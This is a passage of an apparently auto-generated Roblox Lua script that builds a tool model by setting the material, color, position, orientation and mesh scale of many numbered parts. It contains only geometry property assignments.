  3391. Part285.CFrame = CFrame.new(26.9016113, 1.36621106, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3392. Part285.BottomSurface = Enum.SurfaceType.Smooth
  3393. Part285.TopSurface = Enum.SurfaceType.Smooth
  3394. Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3395. Part285.Position = Vector3.new(26.9016113, 1.36621106, 139.550354)
  3396. Part285.Orientation = Vector3.new(0, 179.459991, 0)
  3397. Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3398. BlockMesh286.Parent = Part285
  3399. BlockMesh286.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
  3400. BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3401. BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3402. Part287.Parent = Tool0
  3403. Part287.Material = Enum.Material.SmoothPlastic
  3404. Part287.BrickColor = BrickColor.new("Really black")
  3405. Part287.Rotation = Vector3.new(-180, 0.539999962, -180)
  3406. Part287.Anchored = true
  3407. Part287.FormFactor = Enum.FormFactor.Custom
  3408. Part287.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3409. Part287.CFrame = CFrame.new(26.8973389, 1.336182, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3410. Part287.BottomSurface = Enum.SurfaceType.Smooth
  3411. Part287.TopSurface = Enum.SurfaceType.Smooth
  3412. Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3413. Part287.Position = Vector3.new(26.8973389, 1.336182, 139.970337)
  3414. Part287.Orientation = Vector3.new(0, 179.459991, 0)
  3415. Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3416. BlockMesh288.Parent = Part287
  3417. BlockMesh288.Offset = Vector3.new(-0.180000007, 0, 0)
  3418. BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3419. BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3420. Part289.Parent = Tool0
  3421. Part289.Material = Enum.Material.SmoothPlastic
  3422. Part289.BrickColor = BrickColor.new("Dark stone grey")
  3423. Part289.Rotation = Vector3.new(-180, -89.4599991, -180)
  3424. Part289.Anchored = true
  3425. Part289.FormFactor = Enum.FormFactor.Custom
  3426. Part289.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3427. Part289.CFrame = CFrame.new(27.0336914, 1.67529297, 140.148499, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  3428. Part289.BottomSurface = Enum.SurfaceType.Smooth
  3429. Part289.TopSurface = Enum.SurfaceType.Smooth
  3430. Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3431. Part289.Position = Vector3.new(27.0336914, 1.67529297, 140.148499)
  3432. Part289.Orientation = Vector3.new(0, -90.5400009, 0)
  3433. Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3434. SpecialMesh290.Parent = Part289
  3435. SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3436. SpecialMesh290.MeshType = Enum.MeshType.Wedge
  3437. SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3438. Part291.Parent = Tool0
  3439. Part291.Material = Enum.Material.SmoothPlastic
  3440. Part291.BrickColor = BrickColor.new("Dark stone grey")
  3441. Part291.Rotation = Vector3.new(0, 89.4599991, 0)
  3442. Part291.Anchored = true
  3443. Part291.FormFactor = Enum.FormFactor.Custom
  3444. Part291.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3445. Part291.CFrame = CFrame.new(27.118042, 1.67529297, 140.149475, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
  3446. Part291.BottomSurface = Enum.SurfaceType.Smooth
  3447. Part291.TopSurface = Enum.SurfaceType.Smooth
  3448. Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3449. Part291.Position = Vector3.new(27.118042, 1.67529297, 140.149475)
  3450. Part291.Orientation = Vector3.new(0, 89.4599991, 0)
  3451. Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3452. SpecialMesh292.Parent = Part291
  3453. SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3454. SpecialMesh292.MeshType = Enum.MeshType.Wedge
  3455. SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3456. Part293.Parent = Tool0
  3457. Part293.Material = Enum.Material.SmoothPlastic
  3458. Part293.BrickColor = BrickColor.new("Dark stone grey")
  3459. Part293.Rotation = Vector3.new(-180, -89.4599991, 0)
  3460. Part293.Anchored = true
  3461. Part293.FormFactor = Enum.FormFactor.Custom
  3462. Part293.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3463. Part293.CFrame = CFrame.new(27.1236572, 1.67529297, 140.149292, 0.00939139724, 2.48428307e-07, -0.999955833, 2.35526358e-07, -0.999999821, 2.20843248e-07, -0.999955356, -2.33203508e-07, -0.00939165056)
  3464. Part293.BottomSurface = Enum.SurfaceType.Smooth
  3465. Part293.TopSurface = Enum.SurfaceType.Smooth
  3466. Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3467. Part293.Position = Vector3.new(27.1236572, 1.67529297, 140.149292)
  3468. Part293.Orientation = Vector3.new(0, -90.5400009, 180)
  3469. Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3470. SpecialMesh294.Parent = Part293
  3471. SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3472. SpecialMesh294.MeshType = Enum.MeshType.Wedge
  3473. SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3474. Part295.Parent = Tool0
  3475. Part295.Material = Enum.Material.SmoothPlastic
  3476. Part295.BrickColor = BrickColor.new("Dark stone grey")
  3477. Part295.Rotation = Vector3.new(0, -0.539999962, 0)
  3478. Part295.Anchored = true
  3479. Part295.FormFactor = Enum.FormFactor.Custom
  3480. Part295.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3481. Part295.CFrame = CFrame.new(27.0336914, 1.64526403, 140.148499, 0.999955833, 4.35706333e-08, -0.00939139724, -4.37113776e-08, 0.999999821, -1.47811212e-08, 0.00939165056, 1.51909632e-08, 0.999955356)
  3482. Part295.BottomSurface = Enum.SurfaceType.Smooth
  3483. Part295.TopSurface = Enum.SurfaceType.Smooth
  3484. Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3485. Part295.Position = Vector3.new(27.0336914, 1.64526403, 140.148499)
  3486. Part295.Orientation = Vector3.new(0, -0.539999962, 0)
  3487. Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3488. BlockMesh296.Parent = Part295
  3489. BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3490. BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3491. Part297.Parent = Tool0
  3492. Part297.Material = Enum.Material.SmoothPlastic
  3493. Part297.BrickColor = BrickColor.new("Dark stone grey")
  3494. Part297.Rotation = Vector3.new(0, -0.539999962, 0)
  3495. Part297.Anchored = true
  3496. Part297.FormFactor = Enum.FormFactor.Custom
  3497. Part297.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3498. Part297.CFrame = CFrame.new(27.118042, 1.64526403, 140.149475, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3499. Part297.BottomSurface = Enum.SurfaceType.Smooth
  3500. Part297.TopSurface = Enum.SurfaceType.Smooth
  3501. Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3502. Part297.Position = Vector3.new(27.118042, 1.64526403, 140.149475)
  3503. Part297.Orientation = Vector3.new(0, -0.539999962, 0)
  3504. Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3505. BlockMesh298.Parent = Part297
  3506. BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3507. BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3508. Part299.Parent = Tool0
  3509. Part299.Material = Enum.Material.SmoothPlastic
  3510. Part299.BrickColor = BrickColor.new("Dark stone grey")
  3511. Part299.Rotation = Vector3.new(0, -0.539999962, 0)
  3512. Part299.Anchored = true
  3513. Part299.FormFactor = Enum.FormFactor.Custom
  3514. Part299.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3515. Part299.CFrame = CFrame.new(27.0756836, 1.66015601, 140.148926, 0.999955833, -1.8716446e-07, -0.00939139724, -1.59576587e-07, 0.999999821, -2.35526358e-07, 0.00939165056, 2.33778906e-07, 0.999955356)
  3516. Part299.BottomSurface = Enum.SurfaceType.Smooth
  3517. Part299.TopSurface = Enum.SurfaceType.Smooth
  3518. Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3519. Part299.Position = Vector3.new(27.0756836, 1.66015601, 140.148926)
  3520. Part299.Orientation = Vector3.new(0, -0.539999962, 0)
  3521. Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3522. BlockMesh300.Parent = Part299
  3523. BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
  3524. BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
  3525. Part301.Parent = Tool0
  3526. Part301.Material = Enum.Material.SmoothPlastic
  3527. Part301.BrickColor = BrickColor.new("Dark stone grey")
  3528. Part301.Rotation = Vector3.new(0, 89.4599991, 0)
  3529. Part301.Anchored = true
  3530. Part301.FormFactor = Enum.FormFactor.Custom
  3531. Part301.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3532. Part301.CFrame = CFrame.new(27.069458, 1.66015601, 140.148804, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
  3533. Part301.BottomSurface = Enum.SurfaceType.Smooth
  3534. Part301.TopSurface = Enum.SurfaceType.Smooth
  3535. Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3536. Part301.Position = Vector3.new(27.069458, 1.66015601, 140.148804)
  3537. Part301.Orientation = Vector3.new(0, 89.4599991, 0)
  3538. Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3539. SpecialMesh302.Parent = Part301
  3540. SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3541. SpecialMesh302.MeshType = Enum.MeshType.Wedge
  3542. SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3543. Part303.Parent = Tool0
  3544. Part303.Material = Enum.Material.SmoothPlastic
  3545. Part303.BrickColor = BrickColor.new("Dark stone grey")
  3546. Part303.Rotation = Vector3.new(-180, -89.4599991, 180)
  3547. Part303.Anchored = true
  3548. Part303.FormFactor = Enum.FormFactor.Custom
  3549. Part303.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3550. Part303.CFrame = CFrame.new(27.0811768, 1.66015601, 140.149109, -0.00939139724, -2.17796412e-07, -0.999955833, -2.35526358e-07, 0.999999821, 1.90209889e-07, 0.999955356, 2.33491207e-07, -0.00939165056)
  3551. Part303.BottomSurface = Enum.SurfaceType.Smooth
  3552. Part303.TopSurface = Enum.SurfaceType.Smooth
  3553. Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3554. Part303.Position = Vector3.new(27.0811768, 1.66015601, 140.149109)
  3555. Part303.Orientation = Vector3.new(0, -90.5400009, 0)
  3556. Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3557. SpecialMesh304.Parent = Part303
  3558. SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3559. SpecialMesh304.MeshType = Enum.MeshType.Wedge
  3560. SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3561. Part305.Parent = Tool0
  3562. Part305.Material = Enum.Material.SmoothPlastic
  3563. Part305.BrickColor = BrickColor.new("Dark stone grey")
  3564. Part305.Rotation = Vector3.new(0, -0.539999962, 0)
  3565. Part305.Anchored = true
  3566. Part305.FormFactor = Enum.FormFactor.Custom
  3567. Part305.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3568. Part305.CFrame = CFrame.new(27.0756836, 1.54028296, 140.148926, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3569. Part305.BottomSurface = Enum.SurfaceType.Smooth
  3570. Part305.TopSurface = Enum.SurfaceType.Smooth
  3571. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3572. Part305.Position = Vector3.new(27.0756836, 1.54028296, 140.148926)
  3573. Part305.Orientation = Vector3.new(0, -0.539999962, 0)
  3574. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3575. BlockMesh306.Parent = Part305
  3576. BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
  3577. BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
  3578. Part307.Parent = Tool0
  3579. Part307.Material = Enum.Material.SmoothPlastic
  3580. Part307.BrickColor = BrickColor.new("Dark stone grey")
  3581. Part307.Rotation = Vector3.new(0, -0.539999962, 0)
  3582. Part307.Anchored = true
  3583. Part307.FormFactor = Enum.FormFactor.Custom
  3584. Part307.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3585. Part307.CFrame = CFrame.new(27.0330811, 1.60620105, 138.321472, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
  3586. Part307.BottomSurface = Enum.SurfaceType.Smooth
  3587. Part307.TopSurface = Enum.SurfaceType.Smooth
  3588. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3589. Part307.Position = Vector3.new(27.0330811, 1.60620105, 138.321472)
  3590. Part307.Orientation = Vector3.new(0, -0.539999962, 0)
  3591. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3592. BlockMesh308.Parent = Part307
  3593. BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3594. BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3595. Part309.Parent = Tool0
  3596. Part309.Material = Enum.Material.SmoothPlastic
  3597. Part309.BrickColor = BrickColor.new("Dark stone grey")
  3598. Part309.Rotation = Vector3.new(0, -0.539999962, 0)
  3599. Part309.Anchored = true
  3600. Part309.FormFactor = Enum.FormFactor.Custom
  3601. Part309.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3602. Part309.CFrame = CFrame.new(27.1530762, 1.60620105, 138.323853, 0.999955833, -9.16734137e-08, -0.00939139724, -1.613449e-07, 0.999999821, -4.10036698e-08, 0.00939165056, 4.01372162e-08, 0.999955356)
  3603. Part309.BottomSurface = Enum.SurfaceType.Smooth
  3604. Part309.TopSurface = Enum.SurfaceType.Smooth
  3605. Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3606. Part309.Position = Vector3.new(27.1530762, 1.60620105, 138.323853)
  3607. Part309.Orientation = Vector3.new(0, -0.539999962, 0)
  3608. Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3609. BlockMesh310.Parent = Part309
  3610. BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3611. BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3612. Part311.Parent = Tool0
  3613. Part311.Material = Enum.Material.SmoothPlastic
  3614. Part311.BrickColor = BrickColor.new("Dark stone grey")
  3615. Part311.Rotation = Vector3.new(0, 89.4599991, -180)
  3616. Part311.Anchored = true
  3617. Part311.FormFactor = Enum.FormFactor.Custom
  3618. Part311.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3619. Part311.CFrame = CFrame.new(27.0330811, 1.53710902, 138.321472, -0.00939139724, 9.964117e-08, 0.999955833, 4.65915591e-08, -0.999999583, -1.52554577e-07, 0.999955356, 4.74784869e-08, 0.00939165056)
  3620. Part311.BottomSurface = Enum.SurfaceType.Smooth
  3621. Part311.TopSurface = Enum.SurfaceType.Smooth
  3622. Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3623. Part311.Position = Vector3.new(27.0330811, 1.53710902, 138.321472)
  3624. Part311.Orientation = Vector3.new(0, 89.4599991, 180)
  3625. Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3626. SpecialMesh312.Parent = Part311
  3627. SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3628. SpecialMesh312.MeshType = Enum.MeshType.Wedge
  3629. SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3630. Part313.Parent = Tool0
  3631. Part313.Material = Enum.Material.SmoothPlastic
  3632. Part313.BrickColor = BrickColor.new("Dark stone grey")
  3633. Part313.Rotation = Vector3.new(-180, -89.4599991, 0)
  3634. Part313.Anchored = true
  3635. Part313.FormFactor = Enum.FormFactor.Custom
  3636. Part313.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3637. Part313.CFrame = CFrame.new(27.15271, 1.53710902, 138.322876, 0.00939139724, 9.96410279e-08, -0.999955833, -4.65770071e-08, -0.999999702, 1.52554605e-07, -0.999955356, 4.74930104e-08, -0.00939165056)
  3638. Part313.BottomSurface = Enum.SurfaceType.Smooth
  3639. Part313.TopSurface = Enum.SurfaceType.Smooth
  3640. Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3641. Part313.Position = Vector3.new(27.15271, 1.53710902, 138.322876)
  3642. Part313.Orientation = Vector3.new(0, -90.5400009, -180)
  3643. Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3644. SpecialMesh314.Parent = Part313
  3645. SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3646. SpecialMesh314.MeshType = Enum.MeshType.Wedge
  3647. SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3648. Part315.Parent = Tool0
  3649. Part315.Material = Enum.Material.SmoothPlastic
  3650. Part315.BrickColor = BrickColor.new("Dark stone grey")
  3651. Part315.Rotation = Vector3.new(0, -0.539999962, 0)
  3652. Part315.Anchored = true
  3653. Part315.FormFactor = Enum.FormFactor.Custom
  3654. Part315.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3655. Part315.CFrame = CFrame.new(27.0926514, 1.51025403, 138.32196, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
  3656. Part315.BottomSurface = Enum.SurfaceType.Smooth
  3657. Part315.TopSurface = Enum.SurfaceType.Smooth
  3658. Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3659. Part315.Position = Vector3.new(27.0926514, 1.51025403, 138.32196)
  3660. Part315.Orientation = Vector3.new(0, -0.539999962, 0)
  3661. Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3662. BlockMesh316.Parent = Part315
  3663. BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
  3664. BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
  3665. Part317.Parent = Tool0
  3666. Part317.Material = Enum.Material.SmoothPlastic
  3667. Part317.Rotation = Vector3.new(90, 0, -89.4599991)
  3668. Part317.Anchored = true
  3669. Part317.FormFactor = Enum.FormFactor.Custom
  3670. Part317.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3671. Part317.CFrame = CFrame.new(27.0925293, 1.60913098, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
  3672. Part317.BottomSurface = Enum.SurfaceType.Smooth
  3673. Part317.TopSurface = Enum.SurfaceType.Smooth
  3674. Part317.Position = Vector3.new(27.0925293, 1.60913098, 138.346024)
  3675. Part317.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
  3676. CylinderMesh318.Parent = Part317
  3677. CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
  3678. CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
  3679. Part319.Parent = Tool0
  3680. Part319.Material = Enum.Material.SmoothPlastic
  3681. Part319.BrickColor = BrickColor.new("Dark stone grey")
  3682. Part319.Rotation = Vector3.new(0, -0.539999962, 0)
  3683. Part319.Anchored = true
  3684. Part319.FormFactor = Enum.FormFactor.Custom
  3685. Part319.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3686. Part319.CFrame = CFrame.new(27.0330811, 1.47119105, 138.321472, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3687. Part319.BottomSurface = Enum.SurfaceType.Smooth
  3688. Part319.TopSurface = Enum.SurfaceType.Smooth
  3689. Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3690. Part319.Position = Vector3.new(27.0330811, 1.47119105, 138.321472)
  3691. Part319.Orientation = Vector3.new(0, -0.539999962, 0)
  3692. Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3693. BlockMesh320.Parent = Part319
  3694. BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3695. BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3696. Part321.Parent = Tool0
  3697. Part321.Material = Enum.Material.SmoothPlastic
  3698. Part321.BrickColor = BrickColor.new("Dark stone grey")
  3699. Part321.Rotation = Vector3.new(90, 0, -89.4599991)
  3700. Part321.Anchored = true
  3701. Part321.FormFactor = Enum.FormFactor.Custom
  3702. Part321.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3703. Part321.CFrame = CFrame.new(27.0925293, 1.58227503, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
  3704. Part321.BottomSurface = Enum.SurfaceType.Smooth
  3705. Part321.TopSurface = Enum.SurfaceType.Smooth
  3706. Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3707. Part321.Position = Vector3.new(27.0925293, 1.58227503, 138.346024)
  3708. Part321.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
  3709. Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3710. CylinderMesh322.Parent = Part321
  3711. CylinderMesh322.Offset = Vector3.new(0, 0, -0.0269999988)
  3712. CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
  3713. CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
  3714. Part323.Parent = Tool0
  3715. Part323.Material = Enum.Material.SmoothPlastic
  3716. Part323.BrickColor = BrickColor.new("Dark stone grey")
  3717. Part323.Rotation = Vector3.new(90.5400009, -45, -89.2399979)
  3718. Part323.Anchored = true
  3719. Part323.FormFactor = Enum.FormFactor.Custom
  3720. Part323.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3721. Part323.CFrame = CFrame.new(27.1077881, 1.63916004, 138.346252, 0.00939139724, 0.707075477, -0.707075417, 3.55030458e-08, -0.70710659, -0.707106471, -0.999955356, 0.00664065778, -0.00664073229)
  3722. Part323.BottomSurface = Enum.SurfaceType.Smooth
  3723. Part323.TopSurface = Enum.SurfaceType.Smooth
  3724. Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3725. Part323.Position = Vector3.new(27.1077881, 1.63916004, 138.346252)
  3726. Part323.Orientation = Vector3.new(45, -90.5400009, 180)
  3727. Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3728. BlockMesh324.Parent = Part323
  3729. BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3730. BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3731. Part325.Parent = Tool0
  3732. Part325.Material = Enum.Material.SmoothPlastic
  3733. Part325.BrickColor = BrickColor.new("Dark stone grey")
  3734. Part325.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
  3735. Part325.Anchored = true
  3736. Part325.FormFactor = Enum.FormFactor.Custom
  3737. Part325.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3738. Part325.CFrame = CFrame.new(27.1077881, 1.66210902, 138.346252, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
  3739. Part325.BottomSurface = Enum.SurfaceType.Smooth
  3740. Part325.TopSurface = Enum.SurfaceType.Smooth
  3741. Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3742. Part325.Position = Vector3.new(27.1077881, 1.66210902, 138.346252)
  3743. Part325.Orientation = Vector3.new(-45, -90.5400009, 180)
  3744. Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3745. BlockMesh326.Parent = Part325
  3746. BlockMesh326.Offset = Vector3.new(0, 0, 0.00300000003)
  3747. BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  3748. BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  3749. Part327.Parent = Tool0
  3750. Part327.Material = Enum.Material.SmoothPlastic
  3751. Part327.BrickColor = BrickColor.new("Dark stone grey")
  3752. Part327.Rotation = Vector3.new(0, -0.539999962, 0)
  3753. Part327.Anchored = true
  3754. Part327.FormFactor = Enum.FormFactor.Custom
  3755. Part327.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3756. Part327.CFrame = CFrame.new(27.15271, 1.47119105, 138.322876, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3757. Part327.BottomSurface = Enum.SurfaceType.Smooth
  3758. Part327.TopSurface = Enum.SurfaceType.Smooth
  3759. Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3760. Part327.Position = Vector3.new(27.15271, 1.47119105, 138.322876)
  3761. Part327.Orientation = Vector3.new(0, -0.539999962, 0)
  3762. Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3763. BlockMesh328.Parent = Part327
  3764. BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3765. BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3766. Part329.Parent = Tool0
  3767. Part329.Material = Enum.Material.SmoothPlastic
  3768. Part329.BrickColor = BrickColor.new("Dark stone grey")
  3769. Part329.Rotation = Vector3.new(-90, 0, 89.4599991)
  3770. Part329.Anchored = true
  3771. Part329.FormFactor = Enum.FormFactor.Custom
  3772. Part329.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3773. Part329.CFrame = CFrame.new(27.1530762, 1.693115, 138.323853, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
  3774. Part329.BottomSurface = Enum.SurfaceType.Smooth
  3775. Part329.TopSurface = Enum.SurfaceType.Smooth
  3776. Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3777. Part329.Position = Vector3.new(27.1530762, 1.693115, 138.323853)
  3778. Part329.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
  3779. Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3780. CylinderMesh330.Parent = Part329
  3781. CylinderMesh330.Offset = Vector3.new(0, 0, -0.0360000022)
  3782. CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3783. CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3784. Part331.Parent = Tool0
  3785. Part331.Material = Enum.Material.SmoothPlastic
  3786. Part331.BrickColor = BrickColor.new("Dark stone grey")
  3787. Part331.Rotation = Vector3.new(-90, 0, 89.4599991)
  3788. Part331.Anchored = true
  3789. Part331.FormFactor = Enum.FormFactor.Custom
  3790. Part331.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3791. Part331.CFrame = CFrame.new(27.0330811, 1.693115, 138.321472, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
  3792. Part331.BottomSurface = Enum.SurfaceType.Smooth
  3793. Part331.TopSurface = Enum.SurfaceType.Smooth
  3794. Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3795. Part331.Position = Vector3.new(27.0330811, 1.693115, 138.321472)
  3796. Part331.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
  3797. Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3798. CylinderMesh332.Parent = Part331
  3799. CylinderMesh332.Offset = Vector3.new(0, 0, -0.0360000022)
  3800. CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
